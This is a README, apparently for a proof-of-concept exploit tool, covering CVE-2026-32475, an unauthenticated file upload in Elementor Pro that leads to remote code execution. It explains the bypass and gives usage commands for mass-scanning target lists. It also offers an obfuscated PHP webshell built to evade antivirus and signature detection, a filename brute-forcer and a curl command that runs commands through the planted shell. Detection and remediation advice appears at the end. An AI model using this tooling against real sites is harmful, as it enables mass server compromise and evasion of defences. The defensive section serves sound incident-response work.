
CVE-2026-32475 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Elementor Pro में एक अनप्रमाणित (unauthenticated) मनमाना फ़ाइल अपलोड है, जिससे रिमोट कोड एक्ज़ीक्यूशन होता है। इसमें मास स्कैनिंग, ब्रूट-फोर्स फ़ाइलनाम पुष्टिकरण, और अधिकृत परीक्षण के लिए एक अंतर्निहित अस्पष्ट (obfuscated) वेबशेल शामिल है।
Elementor Pro प्री-ऑथेंटिकेशन मनमाना फ़ाइल अपलोड जो रिमोट कोड एक्ज़ीक्यूशन की ओर ले जाता है
CVE-2026-32475 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो Elementor Pro के Forms मॉड्यूल में एक गंभीर बिना प्रमाणीकरण वाला मनमाना फ़ाइल अपलोड है जो रिमोट कोड एक्ज़ीक्यूशन में समाप्त होता है। PoC एक ही अपलोड फ़ील्ड के लिए दो फ़ाइल भाग प्रस्तुत करता है — एक खाली पहली प्रविष्टि (खाली फ़ाइलनाम, UPLOAD_ERR_NO_FILE ट्रिगर करता है) उसके बाद पेलोड। validation() लूप खाली प्रविष्टि पर return के माध्यम से जल्दी बाहर निकलता है जबकि process_field() इसे continue के माध्यम से छोड़ देता है, इसलिए पेलोड की एक्सटेंशन जाँच कभी नहीं होती और यह .php एक्सटेंशन के साथ एक सार्वजनिक निर्देशिका में पहुँच जाता है। सही व्यवहार का परीक्षण करने वाले PoCs, पैचिंग के बाद वही अनुरोध, को एक्सटेंशन जाँच द्वारा हटा दिया जाना चाहिए।
नोट: यह PoC केवल अधिकृत सुरक्षा परीक्षण और शोध के लिए है। CVE-2026-32475 का सक्रिय रूप से वास्तविक दुनिया में शोषण किया जा रहा है, और Wordfence ने 19 अगस्त के खुलासे के बाद से 190,000+ प्रयासों को अवरुद्ध किया है। किसी भी सिस्टम का परीक्षण करने से पहले सभी लागू कानूनों का पालन करना और लिखित प्राधिकरण प्राप्त करना आपकी ज़िम्मेदारी है।
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)<= 4.2.1requests लाइब्रेरी होनिर्भरताएँ स्थापित करें:
pip install requests
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --brute --seconds-window 3
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --shell --brute
--shell एक न्यूनतम अस्पष्ट PHP वेबशेल अपलोड करता है (कीवर्ड रनटाइम पर chr()/implode/strrev के माध्यम से बनाए जाते हैं, कमांड पैरामीटर vapcom) ताकि सरल स्थिर हस्ताक्षर और डिस्क पर AV रीयल-टाइम स्कैन इसे फ़्लैग न करें। संग्रहीत फ़ाइलनाम अभी भी यादृच्छिक है (<uniqid()>.php); --brute के साथ संयोजित करें, जो ?vapcom=echo <marker> की जाँच करता है और exec confirmed: <name>.php रिपोर्ट करता है। एक बार स्थित होने पर मैन्युअल उपयोग:
curl "http://TARGET/wp-content/uploads/elementor/forms/<uniqid>.php?vapcom=id"
python cve-2026-32475-poc.py -T targets.txt -o results.csv
python cve-2026-32475-poc.py -t http://target/page-with-form/ --payload ./lab-shell.php
| तर्क | विवरण | डिफ़ॉल्ट |
|---|---|---|
-t, --target | एकल लक्ष्य URL | - |
-T, --targets | लक्ष्य URL वाली फ़ाइल, प्रति पंक्ति एक | - |
-o, --output | परिणाम फ़ाइल (CSV: target, status, form_id, post_id, field, note) | - |
--timeout | अनुरोध टाइमआउट सेकंड में | 15 |
--post-id | पता लगाए गए post_id को ओवरराइड करें | auto |
--form-id | पता लगाए गए form_id (Elementor विजेट आईडी) को ओवरराइड करें | auto |
--field | पता लगाए गए अपलोड फ़ील्ड custom_id को ओवरराइड करें | auto |
--payload | कस्टम पेलोड फ़ाइल का पथ (डिफ़ॉल्ट: हानिरहित PHP टोकन फ़ाइल) | benign token |
--shell | टोकन के बजाय अंतर्निहित अस्पष्ट PHP वेबशेल अपलोड करें (<?php ... system($_GET) ?> रनटाइम पर बनाया गया, पैरामीटर vapcom) | off |
--brute | सफल अपलोड के बाद, कोड निष्पादन की पुष्टि करने के लिए uniqid() फ़ाइलनाम को ब्रूट-फ़ोर्स करें | off |
--seconds-window | सर्वर Date हेडर से पहले/बाद के सेकंड ब्रूट-फ़ोर्स करने के लिए | 5 |
[*] Probing http://localhost/wplab/?page_id=6 ...
[+] Form found: post_id=6 form_id=a1b2c3d4 field=upload_file
[*] AJAX -> HTTP 200
[*] result: vulnerable - upload accepted
response : {"success":true,"data":{"message":"Your submission was successful.","data":[]}}
uploaded to : /wp-content/uploads/elementor/forms/<uniqid>.php
[+] CONFIRMED EXECUTION: 6a9bb5d70fba6.php -> 'POC3f9a2c...'
[*] done: 1/1 vulnerable
AJAX प्रतिक्रिया पर success:true का मतलब है कि पेलोड को बिना एक्सटेंशन जाँच के स्वीकार कर लिया गया था। --brute के साथ चरण 4 (अनुमानित .php फ़ाइल पर मार्कर युक्त 200) सर्वर-साइड PHP निष्पादन की पुष्टि करता है — यानी पूर्ण RCE।
परिणाम स्थितियाँ: vulnerable | patched | unknown | error
vulnerable — वेब सर्वर ने "success":true लौटाया; पेलोड ने एक्सटेंशन जाँच को छोड़ दियाpatched — अपलोड को फ़ाइल-प्रकार त्रुटि के साथ अस्वीकार कर दिया गया (एक्सटेंशन जाँच चली)unknown — HTTP सफल रहा लेकिन प्रतिक्रिया success:true नहीं थी (गलत आईडी या अप्रत्याशित स्थिति)error — अनुरोध/पार्स विफलता (टाइमआउट, गैर-200, फ़ॉर्म नहीं मिला)<uniqid()>.<attacker_extension> होता है — प्रस्तुत बेसनाम को हटा दिया जाता है, इसलिए डबल-एक्सटेंशन/नल-बाइट ट्रिक अप्रासंगिक हैं; केवल एक्सटेंशन जाँच मायने रखती है, और यही वह चीज़ है जो टूटती है।wp-content/uploads/elementor/forms/ में एक .htaccess भेजता है जो सभी फ़ाइलों पर Content-Disposition: attachment सेट करता है। यह निष्पादन को नहीं रोकता — PHP अभी भी सर्वर-साइड चलता है और डाउनलोड की गई प्रतिक्रिया निष्पादित आउटपुट है। लैब में ब्राउज़र में शेल प्रस्तुत करने के लिए, उस .htaccess को अक्षम करें; वास्तविक दुनिया में इसे केवल कॉस्मेटिक मानें और सर्वर-स्तरीय PHP ब्लॉकिंग पर भरोसा करें।uniqid() = sprintf("%08x%05x", uint32(tv_sec), tv_usec), इसलिए नाम समय-व्युत्पन्न है (Unix सेकंड, निम्न 32 बिट, + माइक्रोसेकंड)। ब्रूट चरण सबमिट प्रतिक्रिया के Date हेडर में देखे गए सेकंड को कोष्ठकबद्ध करता है और, .php फ़ाइलों के लिए, ?vapcom=echo <marker> (या टोकन/--payload फ़ाइल के लिए ?c=) का अनुरोध करता है ताकि मार्कर-युक्त प्रतिक्रिया वास्तविक सर्वर-साइड PHP निष्पादन हो, न कि केवल फ़ाइल पढ़ना। सबसे खराब स्थिति ~1M माइक्रोसेकंड अनुमान प्रति सेकंड है, इसलिए रन को छोटा रखने के लिए --seconds-window को कस लें।# PHP फ़ाइलें जो अपलोड निर्देशिका में मौजूद नहीं होनी चाहिए
find wp-content/uploads/elementor/forms/ -type f -name "*.php*"
.php/.phtml/.phar/.hta फ़ाइल को समझौते के साक्ष्य के रूप में मानें।/wp-content/uploads/elementor/forms/ के अंतर्गत GET और elementor_pro_forms_send_form ले जाने वाले POST के लिए एक्सेस लॉग खोजें।mu-plugins, संशोधित कोर/थीम फ़ाइलों और अप्रत्याशित WP-Cron घटनाओं की तलाश करें; जगह पर सफाई करने के बजाय ज्ञात-अच्छे बैकअप को पुनर्स्थापित करना पसंद करें।location नियम या Apache <FilesMatch>)। यह स्थायी समाधान है और इस और भविष्य के अपलोड बग को "डिस्क बर्बाद" तक सीमित कर देता है।elementor_pro_forms_send_form क्रिया के लिए लॉग ऑडिट करें।